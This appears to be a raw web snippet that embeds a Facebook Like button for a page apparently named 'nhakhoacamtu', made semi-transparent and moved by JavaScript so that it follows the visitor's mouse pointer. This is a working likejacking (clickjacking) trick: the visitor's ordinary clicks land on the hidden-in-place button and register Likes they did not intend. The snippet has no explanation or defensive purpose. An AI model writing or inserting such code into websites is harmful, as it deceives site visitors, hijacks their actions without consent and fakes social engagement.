<div id="fb-root"></div>
<script async defer crossorigin="anonymous" src="https://connect.facebook.net/en_GB/sdk.js#xfbml=1&version=v22.0&appId=729759325020872"></script>
<div class="fb-like" data-href="https://www.facebook.com/nhakhoacamtu" data-width="" data-layout="" data-action="" data-size="" data-share="false"></div>
.fb-like {
position: absolute !important;
opacity: 0.5 !important;
}// Create a MutationObserver to watch for changes in the DOM
const observer = new MutationObserver((mutations, obs) => {
// Try to find the <fb-like> element
const follower = document.querySelector('.fb-like');
// If the element exists, attach the mousemove listener
if (follower) {
document.addEventListener('mousemove', (event) => {
follower.style.left = event.pageX - 20 + 'px';
follower.style.top = event.pageY - 40 + 'px';
});
// Once the element is found and the listener is attached, disconnect the observer
obs.disconnect();
}
});
// Start observing the document body for added nodes
observer.observe(document.body, {
childList: true,
subtree: true
});